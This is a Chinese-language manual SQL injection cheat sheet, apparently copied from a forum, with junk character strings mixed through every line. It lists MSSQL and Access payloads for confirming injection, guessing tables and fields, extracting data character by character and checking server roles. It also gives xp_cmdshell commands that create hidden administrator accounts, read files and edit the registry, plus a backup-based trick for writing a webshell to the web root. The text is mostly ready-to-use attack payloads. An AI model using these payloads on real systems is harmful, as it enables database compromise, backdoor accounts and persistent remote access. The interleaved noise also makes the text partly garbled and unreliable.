手工脚本注入
6 o" h, z( d. b+ t( M1.判断是否有注入;and 1=1 ;and 1=2 1 k5 m1 b+ Q$ l2 U* V) V- `! R
$ m6 Y O3 r. w' P' g! a$ l
2.初步判断是否是mssql ;and user>0 + d% n1 b! V8 R+ l& I
) V# P! c/ X0 i+ ?# b& |3.注入参数是字符'and [查询条件] and ''='
. P8 K) E, f( {
( g( ?. k+ M& L8 a4.搜索时没过滤参数的'and [查询条件] and '%25'='
3 C2 i7 J5 i0 z/ J- R
2 W) v/ ?0 ~+ A* ~7 t# B3 f X5.判断数据库系统 8 R& }! C% l* c3 `/ W2 m
;and (select count(*) from sysobjects)>0 mssql : Z0 N: ~3 x1 S- f; W; c
;and (select count(*) from msysobjects)>0 access % ^" j. d+ G; E8 f, L+ Y
" ?8 h0 e) J% b& ^
6.猜数据库 ;and (select Count(*) from [数据库名])>0 ' |- g/ v% X4 q3 x/ c* d
! ^; M5 }0 E$ w7 i6 q7.猜字段 ;and (select Count(字段名) from 数据库名)>0 5 ^8 q; P$ u" _: G2 A
2 k4 {. v* j( A' Z8.猜字段中记录长度 ;and (select top 1 len(字段名) from 数据库名)>0 $ R- H0 v5 L3 p7 D8 J* t8 p
2 i( ~9 q* ^& X) O0 P4 V
9.(1)猜字段的ascii值(access) # I( M: l& |* s. C/ A
;and (select top 1 asc(mid(字段名,1,1)) from 数据库名)>0 5 n! N6 ^( W% L6 o& _5 E
7 Q* O( J& g0 y+ m) q(2)猜字段的ascii值(mssql) * u+ [# t0 c1 E9 B/ p: w* q
;and (select top 1 unicode(substring(字段名,1,1)) from 数据库名)>0
# j1 b9 o9 b [* h3 l8 w! w
# s1 \ Y" |2 n10.测试权限结构(mssql)
/ f" _$ L6 E- J% \;and 1=(select IS_SRVROLEMEMBER('sysadmin'));--
5 y$ f* |) p: a$ {* l/ z9 c! M;and 1=(select IS_SRVROLEMEMBER('serveradmin'));--
- h# H, j% O3 K3 c) X) A;and 1=(select IS_SRVROLEMEMBER('setupadmin'));-- 3 q( q( k* L" [
;and 1=(select IS_SRVROLEMEMBER('securityadmin'));--
! e; @* T+ r1 r+ |5 j( i5 L;and 1=(select IS_SRVROLEMEMBER('diskadmin'));--
5 C9 S5 ]) R" x;and 1=(select IS_SRVROLEMEMBER('bulkadmin'));--
3 X, r& e# s9 J! `;and 1=(select IS_MEMBER('db_owner'));-- - ~9 N, h" W* M. k
7 S/ [5 e `* G6 k
11.添加mssql和系统的帐户
# _6 s( B Q) D9 w. D;exec master.dbo.sp_addlogin username;--
/ V. [6 p+ ^$ C) k1 Q) v
+ u, w* \: a/ \# J+ f1 [$ A: D;exec master.dbo.sp_password null,username,password;--
7 b5 \, `0 T' Q9 l5 a- |2 W7 [0 s1 j$ Q3 m
;exec master.dbo.sp_addsrvrolemember sysadmin username;--
' l2 y; Y% I* A3 O- r2 V7 l" u) J; C' t9 L5 s
;exec master.dbo.xp_cmdshell 'net user username password 5 ?+ I7 N2 X4 q0 x& @
/workstations:*/times:all/passwordchg:yes /passwordreq:yes /active:yes /add';-- ( x* s! E8 R7 i& y- M4 J0 J, w0 X
! z! {! b0 X- K9 R) A; M+ p
;exec master.dbo.xp_cmdshell 'net user username password /add';--
+ q6 v7 x" U- s9 L& ?' j& R" f, O
5 C7 X: I+ D( g0 A;exec master.dbo.xp_cmdshell 'net localgroup administrators username /add';-- 4 r7 Y5 F4 m, p7 n7 ~8 I
" }$ E- v, y8 T- h3 Y, E2 `! K12.(1)遍历目录
, f. i! p9 @6 u2 h
# s3 {1 T! N3 s$ s" G/ O# y9 c;create table dirs(paths varchar(100), id int) 7 h5 k- r" Z1 Y1 T% J, x" t
;insert dirs exec master.dbo.xp_dirtree 'c:\'
* V& ]! N& S6 `;and (select top 1 paths from dirs)>0 & Z: N g# y- S. M) Z
;and (select top 1 paths from dirs where paths not in('上步得到的paths'))>) ! v; j: t. O; n( i6 |
5 U4 E) d& I, r$ f" L
(2)遍历目录 3 [# O3 Y* c# w' \* M! X
;create table temp(id nvarchar(255),num1 nvarchar(255),num2 nvarchar(255),num3 nvarchar(255));--
$ j/ [1 I! c2 I# g/ g;insert temp exec master.dbo.xp_availablemedia;-- 获得当前所有驱动器 ) H1 I; d) {; y) k1 R& H
;insert into temp(id) exec master.dbo.xp_subdirs 'c:\';-- 获得子目录列表
5 P! W! }( f$ w3 ~, ?8 l;insert into temp(id,num1) exec master.dbo.xp_dirtree 'c:\';-- 获得所有子目录的目录树构
" y% V( f5 L P4 Q1 M;insert into temp(id) exec master.dbo.xp_cmdshell 'type c:\web\index.asp';-- 查看文件的内容
* _* H( N5 c3 V5 u/ K7 b/ C" Q" [
13.mssql中的存储过程
2 ~0 |0 e8 @- b; v* s
) R, o! N/ D. `/ I, y! |6 nxp_regenumvalues 注册表根键, 子键
: F1 ]' {% z& O5 I( w3 {;exec xp_regenumvalues 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion\Run' 以多个记录集方式返回所有键值
, W; P4 y8 w- H- y. i# x" N
, P8 j* }, L& t9 v) @ `xp_regread 根键,子键,键值名 3 Z. N( H) u* F9 `, [5 o
;exec xp_regread / D( M2 c+ N; X, R# }8 k3 Y; R
'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion','CommonFilesDir' 返回制定键的值
$ K/ i9 G' B8 w7 [2 R" \- @+ f9 L* _4 v
xp_regwrite 根键,子键, 值名, 值类型, 值
M A5 m8 X& ^, U/ }4 z值类型有2种REG_SZ 表示字符型,REG_DWORD 表示整型
/ l& y( M y2 k2 Y;exec xp_regwrite 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion','TestValueName','reg_sz','hello' 写入注册表
; D; X4 f V+ K+ U4 P, m! h8 m+ W% b6 Q' R5 J, }8 g
xp_regdeletevalue 根键,子键,值名
# t: r2 R6 E4 x0 t& n5 b8 u+ k9 Y
exec xp_regdeletevalue 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion','TestValueName' 删除某个值
; D, W1 `4 ~$ G, w2 X/ i2 y' d+ Y2 D" c! a
xp_regdeletekey 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion\Testkey' 删除键,包括该键下所有值
7 e. V, f6 l0 n2 s+ \( B- ~, z( l) u( L7 M! o3 |" K
14.mssql的backup创建webshell
8 v4 m3 Y ]% r# j& N+ V; s/ ^use model ' X. _% J1 G5 b1 X# Z& [
create table cmd(str image);
) S* q2 J' w( K1 y. binsert into cmd(str) values (''); 9 g, V" l- l+ P' g7 e+ K
backup database model to disk='c:\l.asp'; 3 T2 d) K7 q5 ~6 t6 C& ~
2 j: I- L1 p7 B g9 n% v15.mssql内置函数
P' @2 t$ L8 s e U;and (select @@version)>0 获得Windows的版本号
0 \' r& \6 T. D. T3 f Y;and user_name()='dbo' 判断当前系统的连接用户是不是sa " f! s) ^0 C' b
;and (select user_name())>0 爆当前系统的连接用户
6 R# `8 J; O+ [3 Y" }. P;and (select db_name())>0 得到当前连接的数据库 - e5 V. f& a; G) |
+ P( f @. z# P
16.简洁的webshell # U% s% d; t4 ~4 ~$ v" o1 {) J
" Q% ~- O2 E' d$ [9 M% e0 s' Xuse model , X1 `4 V( }( @; b7 y6 l
7 c& J0 H8 G+ T$ p) R8 O$ W
create table cmd(str image); 9 U: ]) J8 m0 }/ Q6 R
1 a4 n$ M9 W7 A2 R6 u( R
insert into cmd(str) values ('');
, w6 I- ~2 s" R1 b, d0 B- m+ F& n
backup database model to disk='g:\wwwtest\l.asp';
: w1 n4 N4 n5 `6 s' Z U - p3 v6 P) Z- U3 A# O, M
|